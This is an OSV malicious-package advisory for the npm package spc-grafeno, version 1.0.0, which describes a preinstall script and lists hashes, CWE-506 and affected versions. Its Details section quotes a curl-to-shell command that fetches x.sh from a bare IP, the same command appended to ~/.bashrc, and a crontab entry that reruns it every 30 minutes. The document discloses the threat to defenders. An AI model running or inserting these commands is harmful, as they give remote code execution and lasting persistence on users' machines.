MAL-2026-15522

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc-grafeno/MAL-2026-15522.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15522
Published
2026-08-28T23:01:26Z
Modified
2026-08-28T23:31:39.860154915Z
Summary
Malicious code in spc-grafeno (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1)

The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019059",
            "modified_time": "2026-08-28T23:01:26Z",
            "import_time": "2026-08-28T23:14:35.126058137Z",
            "source": "amazon-inspector",
            "sha256": "a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / spc-grafeno

Package

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators
{
    "package_integrity": [
        {
            "filename": "spc-grafeno-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-xzpy0qWkiLLRyznlNWV6NMMBbybpvhpNbKVLMTEJA9GDobRREJlmpy2O1v2665uwL7dmkQyA8BkQroVB56I2aA==",
                "sha1": "05d7cb626769c6fd3db35bb6010fbd4b255a5f4e"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "350112f08561f6736ac5017127380125bb93c4193548bc406b4d445aa1ef3a31e79c6b",
            "sha256": "fef35f89c4b4c23212906d8c06dcb7c168e20eace35c198d1e216ee1a8006c48"
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc-grafeno/MAL-2026-15522.json"